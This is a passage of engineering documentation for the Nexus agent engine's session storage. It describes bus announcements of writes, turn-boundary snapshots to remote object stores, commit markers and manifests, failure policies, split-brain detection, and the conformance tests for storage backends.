offset is taken from the append descriptor’s own position after the write, so it stays exact even if another writer appends to the same path in between. If that read fails it falls back to 0, which reads as “the whole object changed” — the conservative direction, since a backend then re-uploads a file it could have coalesced rather than coalescing a change it should have treated as a rewrite.

Creating or loading a workspace writes metadata/session.json silently. That happens before the journal writer subscribes to the bus, and an event there would consume a dispatch sequence number the journal never receives — which stalls its writer, since it only writes envelopes in contiguous sequence order. StartSession re-saves the metadata once the journal is running, so the file is still announced.

Writers that bypass the helpers

Not everything under a session tree goes through the workspace helpers. Some writers hold a long-lived *os.File, some write through temp-file + rename for atomicity, and some own a directory layout that is theirs rather than the workspace’s. Two helpers exist for them:

Both take an absolute path and emit exactly the payload WriteFile emits, with the path relativised to the session root. Both are silent when the workspace has no bus, when the path is not under the session root, or when the path is one the object-store seam excludes outright — so it is impossible to announce store.db or session.lock by mistake, and a plugin whose output directory is configurable can call them unconditionally instead of repeating an escape check.

An fsnotify watcher over the session root was the rejected alternative. It buys completeness with no call-site changes, and costs a watch descriptor per directory, a rename storm to debounce on every atomic write, and — fatally — no way to tell “the writer finished” from “the writer is halfway through”, which is the one distinction a sync backend needs.

Every raw writer has a decided disposition

The set of writers that bypass the helpers is closed and enumerable: the plugin-level ones all take their directory from PluginDir() or a config key, and the rest are named engine subsystems. Each has one of four dispositions, recorded in code as engine.SessionTreeWriters() so an enforcement test can consume it:

The invariant, and the test that holds it

A write under a session tree must announce itself on the bus. Real-time sync is exactly as complete as the events are, so a write nothing announced is history that quietly never arrives.

The one sanctioned alternative to announcing is pushing directly, and it is available only where the object key is derived from the content: see Blobs push on write. Anything else that is silent on the bus waits for the turn boundary, which is a decision the table has to record rather than a gap the table hides.

The table above closes today’s gap. TestPluginRawWritesAreAnnouncedOrAllowlisted (pkg/engine/session_writers_enforce_test.go) is what stops a future plugin reopening it. It runs inside make test — untagged, no network — and does the following:

1. Parses every non-test Go file under plugins/ with go/parser (standard library; this guard adds no dependency).
2. Flags direct calls to os.WriteFile, os.Create, os.CreateTemp and os.OpenFile, resolving the os import through its local name so an alias or a dot-import is not a way around it.
3. Requires each flagged file to either call AnnounceWrite / AnnounceAppend, or carry a row in engine.SessionTreeWriters().

If you trip it, the failure message spells out the three ways forward: announce the write, route it through session.WriteFile / session.AppendFile, or add a row with a Why. The allowlist is SessionTreeWriters() itself rather than a list local to the test, so silencing the guard and documenting the decision are the same edit — and a row whose file stops writing raw bytes is reported as stale by TestSessionTreeWriters_PluginRowsStillWriteRawBytes, so the list shrinks as well as grows.

What the guard deliberately cannot see, so that it is not trusted past its limits:

• Writes through an *os.File handed to another package, through bufio or io.Copy onto a descriptor opened elsewhere, through text/template.Execute, or through a third-party library.
• Announcement is matched per file, not per call: a file with one announced and one unannounced write reads as covered.
• Only plugins/ is scanned. pkg/engine’s raw writers are a small closed set of named subsystems that already have rows; cmd/ is not scanned at all.

Session Lifecycle

Creating a Session

When Engine.Run() starts, it calls NewSessionWorkspace() which:

1. Generates a random hex session ID
2. Creates the directory structure (context/, files/, metadata/, plugins/)
3. Writes initial metadata with status "active"

Resuming a Session

When launched with -recall <sessionID>:

1. The engine loads the session’s config snapshot from metadata/config-snapshot.yaml
2. LoadSessionWorkspace() opens the existing directory
3. The session metadata is updated back to "active"
4. Plugins find their persisted data in their PluginDir()

Ending a Session

On shutdown, the engine:

1. Sets EndedAt on the session metadata
2. Updates status to "ended"
3. Saves a config snapshot for future recall

The snapshot is the original config YAML bytes verbatim, not a re-serialization of the typed Config struct. core.models and per-plugin configs are parsed via a second-pass raw map (yaml:"-" on the typed fields), so re-marshaling would silently drop them and break recall. Configs constructed in-memory via DefaultConfig() (no source bytes) fall back to yaml.Marshal of the typed struct.

Configuration

Session behavior is configured in the core.sessions section:

core:
  sessions:
    root: ~/.nexus/sessions   # Where sessions are stored
    retention: 30d            # How long to keep old sessions
    id_format: datetime_short # ID generation format

Object-Store Backing (optional)

By default a session lives only on local disk. core.object_store optionally makes a remote object store the source of truth for a session between runs, so a session can be killed on one host and resumed on another with no shared filesystem — the case for containers, Cloud Run and Lambda, where there is no disk between invocations.

Local disk remains the working copy during a run. The seam (pkg/engine/objectstore.Backend) is deliberately a lifecycle interface — Hydrate, Put, Delete, List, Flush over object keys — not an abstraction over os.*. Core and every plugin keep reading and writing ordinary local files, so “behaves exactly like local disk” is a guarantee rather than an aspiration, and SQLite keeps running against a real file.

Backends are selected by name in the database/sql driver style. Each ships as its own Go module so the main module’s dependency list never grows; an embedder blank-imports the module and names it in config. The interface refers to no cloud-specific concept, so a third party can implement it out of tree.

With no backend named — the default — no object-store code runs at all: no handle is opened, no snapshot handler is subscribed, and a backend sitting registered in the process is never touched. Every shipped profile under configs/ leaves the seam inert, and TestDefaultPathNeverTouchesARegisteredBackend in pkg/engine holds the default path to it.

Lifecycle points

The engine touches the seam in exactly six places, all in pkg/engine:

Hydration is eager and whole-tree, and completes before the first turn runs. There is deliberately no lazy or faulting read: threading one through the engine and ~60 plugins would be impossible to get right, and SQLite could not use it at all — so “behaves exactly like local disk” would degrade from a guarantee to an aspiration.

Hydration lands in a staging directory inside the sessions root and is published with an atomic rename, so a hydration that dies partway leaves nothing at <root>/<session id> and the partial tree is discarded. That failure fails the boot under both failure policies: degrade means “keep running against the local copy”, and at hydrate time there is no local copy — degrading would hand the agent an empty session that looks complete.

Resuming a session ID the store has never seen is not an error. It yields a valid empty session, created through the same code path as a brand-new local one, so the two are indistinguishable.

<sessions.root>/<id>/session.lock (written on Boot, see Human-in-the-Loop operations) never crosses the seam in either direction. It records the PID of the process holding the session on one particular machine; a lock that travelled with the session would make every rehydrated session look permanently locked by a process that no longer exists. The exclusion is enforced at the seam itself, in pkg/engine/session_objectstore.go, so every present and future push path shares one definition of “never syncs”.

Plugins are unaware of any of this. Nothing is exposed on PluginContext, and no plugin calls the seam.

Turn-boundary snapshots

The hook is agent.turn.end, and it is handled in core. That event is already the engine’s definition of a turn boundary — the journal fsyncs on it and rotates on it, and the turn counter and metadata/timing.jsonl are driven by it — so hanging the snapshot anywhere else would invent a second, disagreeing notion of “turn”. The subscription lives in pkg/engine/session_objectstore.go: no plugin implements an interface, calls a method, or learns that an object store exists. An agent loop emits the event it already emitted.

Two more triggers exist. session.snapshot.request forces a snapshot for callers that do not emit turn events — an embedder driving the engine directly, or a custom agent loop — and Stop takes a final one, so a session that ends between turns (or ran no turns at all) is still in the bucket. Every snapshot publishes a session.snapshot.result carrying the object count, the byte total, the duration and whether it succeeded.

The snapshot is synchronous: it blocks the goroutine that ended the turn until the bytes are durable. A background snapshot would report a turn complete while its state was still in flight, which is precisely the guarantee this exists to provide.

It is installed as a wildcard subscription filtered to agent.turn.end, not a typed one, and that is a correctness requirement rather than a style choice. The bus runs every typed handler before any wildcard, and the journal is itself a wildcard. A typed handler would therefore snapshot a journal ending one envelope short of the very boundary it is reacting to — and a journal whose last turn has no agent.turn.end is exactly what journal.Coordinator.IsPartialTurn calls an unfinished turn, so every resume from that snapshot would re-fire the last input and re-run a turn that had already completed. Registering after the journal’s wildcard also means the snapshot sees the writes the boundary itself produces — memory compaction, the turn counter, history pruning — rather than the state before them.

What must not be copied naively

Two things in the tree rewrite themselves while a reader is walking it, and both are staged into a temporary directory beside the session rather than uploaded in place.

Per-plugin SQLite. A live store.db is a WAL database: committed transactions sit in store.db-wal until a checkpoint folds them back, and store.db-shm is a process-local index into that WAL. Neither sidecar means anything on another host, so the uploaded file has to stand alone. Every snapshot therefore runs PRAGMA wal_checkpoint(TRUNCATE) and then VACUUM INTO a staging path. The checkpoint is what makes the live file self-contained (and bounds -wal growth over a long session); VACUUM INTO is what makes the snapshot untearable, since a plugin committing between the checkpoint and the last read byte would otherwise produce a corrupt — not merely stale — file, and a corrupt file that uploads successfully is worse than a failed upload. store.db-wal, store.db-shm and store.db-journal are excluded from the seam entirely, in both directions.

The journal. Rotation compresses events.jsonl into the next events-NNN.jsonl.zst and truncates the active segment, and it fires on the drain goroutine the instant an agent.turn.end envelope lands — the same event the snapshot reacts to. Read the active segment after the truncate but list the directory before the new .zst appears and the turn’s events are in neither object; capture both and they are in the bucket twice. journal.Writer.Snapshot takes the writer’s file mutex — the one rotation holds — and captures a single consistent instant: rotated segments and header.json are immutable once written and are read in place, while the mutable active segment is copied under the lock. A Barrier runs first so the capture includes the very turn that triggered it rather than trailing it by whatever is still queued. journal/cache/ is ordinary data and is walked normally.

What is never re-uploaded

A snapshot is O(whole tree), not O(what changed), and that cost is paid on every turn. Two kinds of file in a session tree cannot change once written, and a snapshot that has already stored them does not store them again:

The skip is by construction, never by diffing. A file qualifies because its identity proves immutability, not because a hash or an mtime comparison suggested it was unchanged — blobs.Store.Put touches mtime on every hit, so mtime would have been actively misleading here. General content-hash or mtime-based change detection over the rest of the tree is deliberately not implemented: ordinary session output is still re-uploaded in full every turn.

Being unchangeable locally says nothing about whether the object ever reached the bucket, so immutability alone is only half the decision. Every snapshot lists the session’s key prefix and skips a file only when that listing says the store holds it at exactly that size. A skipped file that is missing — or truncated — is uploaded like anything else, so a skip can never turn a gap into a permanent gap, and the skip repairs itself against anything that removes an object out of band. A backend that cannot list makes the snapshot upload everything, which is always the safe direction. The listing costs one or two round trips against as many avoided uploads as the session has immutable files.

A skipped object is still part of the committed object set: objects and bytes on the commit marker and on session.snapshot.result describe the whole stored session, exactly as they did before the skip existed, and objects_uploaded / objects_skipped split that set into what this turn paid for and what it saved. The per-object manifest is built from the committed set, not from “what was uploaded this turn” — a manifest of only-what-was-uploaded would describe a session with its journal segments and blobs missing, and a hydration honouring it would then faithfully reproduce that truncated session.

Blobs push on write

<session>/blobs/ does not wait for the turn boundary. A blob store opened through SessionWorkspace.BlobStore() carries a blobs.PutHook, and each new blob’s .bin and .meta are handed to a single background worker that uploads them and flushes once the queue goes quiet.

What that buys, precisely. Not bandwidth — objectStoreImmutable already made each blob a once-ever upload, so the repeated per-turn cost was never being paid. What is left is the window between a blob landing and the next agent.turn.end. Blobs are the largest single objects in a session tree, so a turn that fetches a PDF, renders a screenshot and embeds an image otherwise holds all of it on local disk until the turn ends: a process killed halfway loses every blob it produced, and what survives is a conversation history full of nexus-blob: URIs that resolve to nothing after a resume on a fresh host. Write-through shrinks that window from “one turn” to “one queue drain”, and spreads the upload across the turn instead of spiking at the end of it. That is a narrow win, and it is the whole win.

Why no barrier is needed. The key is derived from the sha256 of the content, so the same key can only ever carry the same bytes. A write-through Put racing a snapshot Put of the same blob is two identical uploads, not a conflict: no read-modify-write, no window in which a partial object sits under a key another writer will fill with different content. context/ conversation.jsonl has none of those properties, which is why the general push still waits for a boundary.

It is an optimisation, not the guarantee. Every failure mode on this path — a full queue, a Put error, a drain that timed out at shutdown — costs the delay it was trying to remove and nothing else. The turn-boundary snapshot still walks the whole tree and still re-uploads any immutable file the store does not already hold at exactly the right size, so correctness lives there.

No event. The push is a plain func hook rather than a session.file.* emission. An event per blob would have put traffic on the hottest tool paths in a session — every read_image, every fetch_page_image, every MCP binary payload — to carry a fact the object key already encodes, would have made every existing subscriber react to blob writes it has no use for, and would have cost pkg/engine/blobs its deliberate independence from the bus (it is a standalone content store usable outside an engine, and it still imports nothing outside the standard library).

Local eviction never deletes remotely. The blob store sweeps by mtime under an LRU byte budget, and that budget exists to bound disk — exactly the constraint a bucket does not have. There is no delete hook, and nothing on this path ever calls Backend.Delete. A swept blob stays in the store; a Get for it afterwards is a local miss that hydration can repair, not a lost object. Mirroring the eviction would destroy data the operator is paying to keep, and would do it to content a later session may still reference by URI.

blobs/ is still created lazily, on the first Put — not at session boot and not by opening the store — so a session whose tools never produce a blob has no blobs/ directory to sync at all.

Failure, and the commit marker

Object stores have no multi-object transaction, so a tree spread over many objects cannot be replaced atomically. Three properties give “a failed or partial upload never replaces a good remote copy” anyway:

1. Nothing is uploaded from a file that could be torn — see above.
2. A snapshot never deletes. It adds and overwrites only, so a failure cannot remove remote state it did not successfully replace.
3. A per-object manifest at sessions/<session id>.manifest/manifest.json is written and flushed after every other object is durable, listing exactly the object set that generation asserts is present.
4. A commit marker at sessions/<session id>.snapshot.json is written and flushed after the manifest. It therefore only ever advances past a complete snapshot: a failed or half-finished upload leaves it naming the previous one, which is the snapshot guaranteed to be restorable.

Both are sibling keys, not members of the tree. Because prefixes match whole segments, sessions/<id>.snapshot.json and sessions/<id>.manifest/ are deliberately not under prefix sessions/<id>, so neither hydrates back into the session and neither becomes an input to the next snapshot.

Generation directories — write the whole tree under sessions/<id>/gen-<n>/ and flip a pointer — were considered and rejected. They give true atomic replace at the cost of a second full copy of every session in the bucket and an indirection hydration would have to resolve on every boot. The marker answers the same question for one small object.

The generation stamp and the per-object manifest

A snapshot never deletes, so an interrupted snapshot leaves a superset: some objects from generation N+1 sitting beside the rest of generation N. Without something to say which is which, that tree hydrates silently and produces a session whose artifacts disagree with its own history.

Two records answer it, both siblings of the tree:

generation increases by one per completed snapshot and, unlike sequence, carries across runs: a resuming host seeds it from the committed manifest, so a bucket never records the stamp going backwards. Gaps are normal — a failed snapshot claims a generation and does not roll it back.

The write order is load-bearing and is the same write-last discipline the marker always had: objects → flush → manifest → flush → marker → flush. So a manifest is never visible before the objects it describes are durable, and a marker is never visible before the manifest it names. The only mismatch this ordering can produce is a manifest one generation ahead of the marker, which is a manifest that is still exactly right — which is why hydration keys off the manifest.

The manifest is a directory-shaped prefix rather than a flat sessions/<id>.manifest.json because objectstore.Backend has no single-object read: Hydrate is the only way to pull bytes down, and it takes a prefix whose exact-match object is explicitly not “under” it. That is also why the commit marker itself cannot be what hydration reads. Widening the published interface with a Get would break every out-of-repo backend module.

What hydration does with it. The tree is pulled into a staging directory as before, then everything the committed manifest does not name is removed — before the staging directory is renamed into place, so an uncommitted object is never observable at the session path even for an instant. The orphaned objects are left in the bucket, never deleted: reclamation is the operator’s, and this seam never removes remote data.

Two deliberate exceptions:

• No manifest at all (a bucket written by an older build, or a session that has never completed a snapshot) falls back to materialising everything under the prefix — byte-for-byte the behaviour that shipped before — and logs it.
• Content-addressed blobs are never pruned, even when the manifest does not name them. That is a correctness requirement, not a bandwidth saving: the blob store sweeps local disk under an LRU byte budget while a snapshot never deletes remotely, so a blob referenced by a nexus-blob: URI in the committed history can legitimately be in the bucket and absent from the manifest. Pruning it would break a URI that resolves today. The exemption is also exactly coextensive with “objects written outside a snapshot”, because write-through and its retry queue push nothing but blobs. Sealed journal segments are immutable too and are deliberately not exempt — one from an interrupted generation carries events the committed history does not.

Where the guarantee stops. A snapshot overwrites in place and the manifest names paths, not versions. An interrupted snapshot that got as far as re-uploading a mutable object — context/conversation.jsonl, the active journal segment, a per-plugin store.db — has already replaced the committed generation’s bytes at that key, and no listing of paths brings them back. Hydration restores exactly the committed set; within that set an overwritten object carries the dead generation’s bytes. Closing that window means per-generation object keys, which is the generation-directories design costed and rejected above. TestInterruptedSnapshotCanOverwriteACommittedObjectInPlace in pkg/engine pins the boundary so it is not rediscovered by accident; TestInterruptedSnapshotRestoresTheCommittedGenerationIntact and TestHydrationRestoresOnlyTheCommittedGeneration pin the guarantee.

Cost. The manifest is re-uploaded whole on every snapshot, which is the cost the commit marker was originally designed to avoid and which was accepted here in exchange for correctness. Measured by BenchmarkSessionSnapshot’s manifest_KiB metric: 18.9 KiB for the 1007-object / 91 MiB session (~19 bytes per object, 0.02% of the tree, against a 90.7 MiB per-turn upload). A blob-heavy session pays more per object because a content-addressed path is 69 characters — 157 KiB for 2009 objects — which is still 0.55% of that shape’s 27.9 MiB per-turn upload.

Failure policy: degrade and strict

A snapshot that cannot complete is where core.object_store.failure_policy earns its keep. Both values retry, both publish the outage on the bus, and both recover with no operator action. What differs is whether the session keeps taking turns while the store is unreachable.

Under degrade — the default — the session keeps running against the local working copy. The failure is a warning, the state is queued for retry, and turns carry on. The honest caveat belongs here rather than only in a comment: during a long outage the durability guarantee is not being met even though nothing is failing. Work the user watched happen exists only on local disk, and a host that dies while degraded loses it. That is the trade the operator chose by selecting it.

Under strict the failure additionally raises core.error and closes a turn gate: every subsequent io.input is vetoed until a snapshot succeeds. Be precise about what that buys, because the tempting summary is wrong:

The turn that hit the outage already happened. Its output was streamed to the user, its tools ran, and its side effects are in the world. Nothing in Nexus un-runs it.

strict refuses the next turn, which is the last point at which nothing has happened yet. A genuine pre-commit gate would need a vetoable turn-boundary event, which does not exist — and would not help if it did, since by the time an agent loop can report a turn the work is done. So the guarantee is: no turn ever runs against state whose predecessor was not durably stored, and the divergence is never silent. Not: “the failed turn was prevented”.

The gate is a before:io.input subscriber at priority 200, behind every other one (nexus.control.cancel and nexus.mcp.client both sit at 5), so slash commands and cancellation still work while it is closed — an operator whose bucket is down must still be able to stop the run.

Retry, and the bound. One background worker per run retries with exponential backoff (1 s, doubling, capped at 60 s). It carries two kinds of work: a bounded queue of deferred pushes, capacity 256 objects, fed by blob write-through failures; and a “whole-tree snapshot pending” flag, the backstop, set by a failed snapshot, a failed flush or a queue overflow. Overflow therefore does not lose work — the discarded push is replaced by a snapshot that re-uploads everything the store does not already hold at the right size, which is strictly stronger and merely coarser. The bounds, the schedule and the timeouts are compiled-in constants rather than config keys, on the same reasoning E3-S2 applied to the write-through constants: an operator who wants to tune them is asking for a different failure_policy.

Recovery drains itself. Either the next turn-boundary snapshot closes the episode, or — on an idle session where no further turn is coming — the retry worker does, publishing its snapshot under the retry trigger. Exactly one session.storage.degraded goes out per outage and one session.storage.recovered when it ends, so a subscriber counts outages rather than failed requests.

One deliberate exception. A blob write-through failure never closes the strict gate. Write-through is an optimisation in front of the snapshot, which re-uploads anything missing; failing a turn because it stumbled on an object the very next snapshot repairs would make strict fire on transients it is not there to catch. Such a failure still queues for retry and still counts towards the degraded state.

Hydration failure is the one thing both policies treat identically: it fails the boot. degrade means “fall back to the local copy”, and at hydrate time there is no local copy.

Cost

The snapshot is O(tree size minus the immutable share) on every turn, and a session tree only grows. Measured on an M1 Max against the in-memory backend (engine work only — staging, checkpoint, tree walk, per-object handoff — with no network):

The first three rows are ordinary files/ output, which nothing in the tree proves immutable and which is therefore still re-uploaded in full every turn. The last row is the same volume of bytes held as content-addressed blobs: before immutable-skip it uploaded 2007 objects and 90 MiB per turn (~200 ms); after, it uploads the 7 mutable objects and 28 MiB, of which the per-plugin store.db is almost all. On a 100 Mbit link that is roughly 7.6 s per turn down to 2.3 s.

Underneath is a fixed floor of roughly 12 ms (checkpoint, VACUUM INTO, journal barrier, fsync) plus 500–600 MiB/s of local throughput; real network time lands on top. BenchmarkSessionSnapshot in pkg/engine reproduces all four rows, reporting puts/op and upload_MiB/op alongside the tree size. Every snapshot logs objects, bytes, objects_uploaded, bytes_uploaded, objects_skipped, bytes_skipped, db_bytes and duration, and publishes the same numbers as session.snapshot.result, so the growth is visible rather than inferred.

The residual store.db cost is O(database size) per turn regardless of how little changed, and delta upload for mutable files and a size-dependent snapshot cadence are still deliberately not designed.

The other roots

The session tree is one of four roots the seam covers, and the only one with a commit marker, a turn-by-turn history and a lock. The other three are:

Keys mirror the on-disk layout beneath the data root and sit beside sessions/, never under it. That is the reservation the sessions/ segment was chosen for. Nesting shared state under the session that flushed it would give every session its own copy of a machine-wide store, which is how nexus.gate.token_budget’s tenant token ceiling would quietly turn into a per-session ceiling with nothing erroring.

One interface serves all four: no Backend method mentions a root, and the per-root policy — when to push, what wins on a collision, whether a local copy may be overwritten — lives entirely on the engine side in pkg/engine/shared_objectstore.go.

The journal needs no separate row: it lives at <session>/journal/ and is captured at a consistent instant inside the session snapshot.

Details, including the one-writing-host-at-a-time constraint a shared root brings, are in Per-Plugin Storage → Object storage for app and agent scope.

Two hosts, one session

The seam assumes a session has exactly one writing host at a time. Nothing enforces that, and the failure when it is violated is completely silent: two hosts hydrate the same session ID, both snapshot the whole tree at their own turn boundaries, and the loser’s conversation history, journal and per-plugin store.db are overwritten at whole-file granularity with no error anywhere. On ephemeral compute, an instance the scheduler presumed dead but which is still running is routine rather than exotic.

An owner marker makes that diagnosable. It is a small JSON object at sessions/<id>.owner/owner.json — a sibling of the session prefix, exactly like the commit marker, so it never hydrates into the tree and never becomes an input to the next snapshot:

Boot reads the marker before it writes its own — for a resumed session and a brand-new one alike — and a clean Stop removes it, while Abandon deliberately leaves it. The read also runs when hydration short-circuited because a local tree was already present, so a warm host whose stale local copy is shadowing a session another host has since taken over is detected too.

If someone else still looks like the holder, the engine logs at error level and emits session.owner.conflict — and then carries on exactly as it would have. This detects; it does not prevent. No lock is taken, no fencing token is issued, nothing is refused and nothing waits. Refusing on a detection that can be wrong would let a false positive strand a session nobody can open, which is worse than the failure being detected. Fencing, expiry semantics and refusal are a real lease, and a real lease is a separate piece of work.

The alarm is only worth having if it stays quiet on the happy path, so a marker is treated as live only when nothing says otherwise:

Both thresholds are constants, not config keys: 30 seconds between beats, ten missed beats before a marker reads as stale. The slack is deliberate — the timestamp comes from another machine’s clock, and an alarm that fires because two hosts disagree about the time is an alarm everybody learns to ignore. The residual false alarm is a crash on a different host resumed inside the staleness window; nothing can distinguish that from a real second writer without a lease.

The local session lock is not a substitute and does not go away. It carries a PID and is excluded from the seam for exactly that reason — a PID from host A means nothing on host B — so it can only see one machine. The two answer different questions.

The conflict event is raised after startJournal and after plugin Init, not at the point of detection. The bus assigns a sequence number to every event whether the journal’s wildcard is subscribed or not, and the writer only flushes contiguous sequences, so a single event emitted during hydration would stall the drain and empty the journal for the whole run.

Scope. The marker covers session trees only. The shared roots — app- and agent-scope plugin storage — have a stronger version of the same problem and no marker yet; see Per-Plugin Storage → Object storage for app and agent scope.

Dropping a session without closing it

Stop and Abandon are the two ways a run ends, and they are not variants of each other. Stop closes a session: it takes a final snapshot, flushes, removes the owner marker, shuts plugins down, closes the journal and per-plugin SQLite, and releases the local lock. Abandon drops one:

It exists for two callers. A host on ephemeral compute that is being reclaimed and does not want to pay a whole-tree snapshot of a session nobody will read. And a test simulating a process death — an abandoned engine that keeps heartbeating and retrying is still writing into the bucket the test is trying to tear down, and stopping those workers without recording a clean exit is the only honest way to fake a kill.

The owner marker is the part worth understanding. A clean Stop deletes it because the broker’s ordinary release-and-respawn cycle resumes the same session minutes later, well inside the five-minute staleness window, and a marker left behind would fire the split-brain alarm on every legitimate resume. Abandon does not delete it, because doing so would record a clean release that never happened — the next host would resume in silence exactly where the evidence matters most. It does stop the heartbeat, though: a marker that kept beating for a run that no longer exists would read as live for ever and turn a genuine takeover into a reported conflict. With the beat stopped and the marker left, the next host applies the ordinary staleness rules from the table above — a dead PID on the same host, or a heartbeat past the threshold anywhere else — and takes over quietly.

Abandon writes nothing and closes nothing local, so on its own it leaks the journal writer’s goroutine and the open handles under the session tree. That is correct for a process about to exit and wrong for one that is not; a long-lived host can call Stop afterwards, which with the store handle already gone degenerates to local teardown and still writes nothing remote. It is idempotent, safe after Stop or on an engine that never booted, and costs nothing when no object store is configured.

What survives a kill

The recovery point is the last completed turn. A process that dies without running Stop — SIGKILL, a container eviction, a Lambda timeout — loses only what was written after the last agent.turn.end; everything up to and including that boundary is restorable from the store, on a host that has never seen the session.

TestKillAndResumeRestoresIdenticalSessionState in pkg/engine is that claim as an assertion, and it runs untagged inside make test against the in-memory backend. It boots an engine, writes conversation history, artifacts, blobs and per-plugin SQLite rows, completes one turn, writes some more, and then abandons the engine with every handle still open — no Stop, no shutdown snapshot, no flush — which is what forces the turn-boundary snapshot to be the only thing that could have saved the session. A second engine over a separate, empty data root then resumes the same session ID and is held to equality rather than to “it opened”: the same history bytes and the same replayed messages, the same artifact bytes, the same blob bytes and media type, the same 500 SQLite rows through the storage manager with PRAGMA integrity_check clean — and none of the three writes made after the turn boundary. A companion test compares the whole hydrated tree against a content-hash fingerprint of the killed one, file by file.

enginetest.RunResumeSuite in pkg/engine/objectstore/enginetest repeats that scenario against a real store, where a real wire protocol, real latency and real error mapping are in the loop. Two backends run it, each behind its own build tag and its own make target: TestResumeSuiteAgainstMinIO in modules/objectstore-s3 (make test-objectstore-minio) and TestResumeSuiteAgainstFakeGCSServer in modules/objectstore-gcs (make test-objectstore-fake-gcs). The choreography is written once and shared, so the two backends cannot be held to different bars by accident; each module supplies only what is store-specific — registering a factory, making an empty bucket, listing it, and reading one object back with a client that is not the backend under test.

The suite lives in the root module because the engine does, and the backends do not: only a module that requires both can hold a real engine.Engine and a real cloud wire at once. It reaches the engine through the exported engine.NewFromBytes and an object_store: block, the same path an operator’s config takes. It adds one assertion the in-memory run cannot make: the store.db object is pulled back out of the bucket with that independent client and opened as a database, so “the store is holding a valid, queryable, fully checkpointed SQLite file” is asserted rather than inferred. Against the memory backend an upload is a []byte copied inside the process, so a broken WAL checkpoint would still round trip; here it does not. Both kill cases express the kill as engine.Abandon() rather than by simply dropping the engine: against a real bucket an engine nobody stopped keeps a heartbeat and a retry worker writing objects into the bucket the test then has to delete, and Abandon is the one teardown that stops them without recording the clean exit the scenario depends on not having happened. See Dropping a session without closing it.

What neither run covers is IAM. Both stores are emulators, and no emulator reproduces IRSA, EKS Pod Identity, GKE Workload Identity, Application Default Credentials resolution or Workload Identity Federation — the credential legs that justify taking a vendor SDK at all. Those stay a documented manual check.

The mid-flush kill, and the boundary it stops at. The suite’s MidFlushKillRestoresTheCommittedGeneration case kills a process partway through a snapshot — the tree objects of the dead generation reach the bucket, the manifest and the commit marker never do — and asserts what actually survives:

• Hydration restores exactly the committed generation’s object set. A key the dead generation added and the committed manifest does not name is not materialised.
• Orphaned objects are left in the bucket, not deleted.

and what does not, per Where the guarantee stops under The generation stamp and the per-object manifest: an object the dead generation overwrote in place carries the dead generation’s bytes, because the manifest names paths rather than versions. The restored store.db reads the uncommitted generation, and the test asserts that rather than hoping otherwise. TestInterruptedSnapshotCanOverwriteACommittedObjectInPlace pins the same boundary against the in-memory backend; the emulator runs are where an argument that a real store would somehow keep the old bytes would be exposed.

Lifetime of the local working copy

The local tree under core.sessions.root is not wiped on clean exit.

• On the target deployment — a container, Cloud Run, Lambda — the filesystem vanishes when the process does, so wiping buys nothing beyond a slower shutdown and a window where a crash mid-wipe leaves a half-deleted tree.
• On a durable host the local tree is a warm cache: the next resume of the same session skips hydration entirely, and, more importantly, it is the copy that failure_policy: degrade falls back to. Deleting it would mean a store outage at shutdown destroys the only good copy.
• core.sessions.retention is already the operator-owned answer to “when does local session data go away”. A second, implicit, shutdown-triggered answer would be a surprise, and deleting user data is irreversible.

Writing a backend

A backend is an implementation of objectstore.Backend plus a Register call. It can live in any module: the interface names no bucket API, credential type or HTTP client, and pkg/engine/objectstore imports nothing outside the standard library.

Two rules are easy to read past, and both corrupt sessions rather than producing an error:

Keys are validated, not merely documented. Every method must reject a malformed key or prefix with an error wrapping objectstore.ErrInvalidKey, before touching the store or the filesystem. A key is /-separated, non-empty, with no leading or trailing /, no empty segment, no . or .. segment, no \, and no NUL. objectstore.ValidateKey and objectstore.ValidateKeyPrefix implement exactly this; the .. ban is what stops a hostile key from writing outside a hydration destination.

Prefixes match whole segments. Key K is under prefix P when P is empty, or when K begins with P + "/". Raw string matching — the native behaviour of ListObjectsV2 and its GCS equivalent — makes the prefix sessions/sess-1 select the objects of sessions/sess-10, which mixes two sessions into one tree. A backend listing with a raw prefix must post-filter. objectstore.TrimKeyPrefix is the rule in code, and also yields the relative path Hydrate needs: Hydrate strips the prefix, so sessions/s1/files/a.md under prefix sessions/s1 lands at <destDir>/files/a.md.

Hydrate adds and overwrites; it does not mirror. Entries already at the destination that no object corresponds to are left alone.

The contract suite

pkg/engine/objectstore/objectstoretest holds the shared conformance suite. Every backend — the in-memory one used by unit tests, and each out-of-tree module — is held to the same cases: key round-tripping, overwrite, delete-then-list, segment-aware prefixes, complete listings past one page, absent-key behaviour, zero-byte objects, key-syntax rejection, Flush idempotency and concurrent use.

func TestContract(t *testing.T) {
    objectstoretest.RunSuite(t, func(t *testing.T) objectstore.Backend {
        return newMyBackend(t) // empty, cleaned up via t.Cleanup
    })
}

Each case gets its own backend, so the factory must hand back an empty one — a temp bucket, a cleared prefix, a fresh emulator namespace. WithListProbeCount lowers the 1200-object pagination probe for a backend that cannot afford it (below the backend’s own page size the case stops proving anything), and WithoutConcurrency skips the parallel case.

objectstoretest.NewMemory is the reference implementation that passes the suite, and doubles as the substituted seam for ordinary untagged unit tests. It is deliberately not registered as a driver at init: a memory backend silently selectable in production config would discard everything on exit while reporting success. objectstoretest.RegisterMemory makes it reachable by name for the duration of one test and removes it again on cleanup.

Shipped backends, and what having two of them proves

Two backends ship in-repo, each in its own module: modules/objectstore-s3 (Amazon S3 and every S3-compatible store) and modules/objectstore-gcs (Google Cloud Storage). Neither is part of bin/nexus; an embedder blank-imports the one they want.

The second one was written to answer a question about the seam rather than about Google. An interface with exactly one implementation is indistinguishable from that implementation’s API with the names changed, and the whole premise of pkg/engine/objectstore is that a third party can implement it without a PR to this repository. GCS disagrees with S3 in several specific places — deleting a missing object is an error there and a success here; there is no region, and no project either; the client holds resources worth closing where the AWS one does not; uploads are not retried by default because an insert without a precondition is not idempotent.

Every one of those turned out to be a translation the backend module owns. modules/objectstore-gcs passes objectstoretest.RunSuite unmodified and with no option other than a reduced page-count probe, and required no change to pkg/engine/objectstore at all. Two things in the interface earned their keep in the process: Delete’s “a missing key is not an error” rule, which picks the S3 behaviour precisely because it is the one a retrying caller wants and leaves the other store to absorb the difference, and the decision to have the engine type-assert io.Closer rather than put Close on the interface, which is why a backend holding an SDK client needed no widening of a published type.

See Configuration Reference for the keys, their defaults and their validation behaviour, and Object Storage for the adoption path — wiring a backend into a binary, credentials, and the documented limitations.

Session Tags

Every session carries a small key/value label store — SessionMeta.Labels, persisted as part of metadata/session.json alongside the rest of session metadata. This page documents the label store as its own mechanism: the two namespaces a key can belong to, the four bus events that write and announce them, and the design rule that keeps the two namespaces from ever being conflated.

Two namespaces, one map

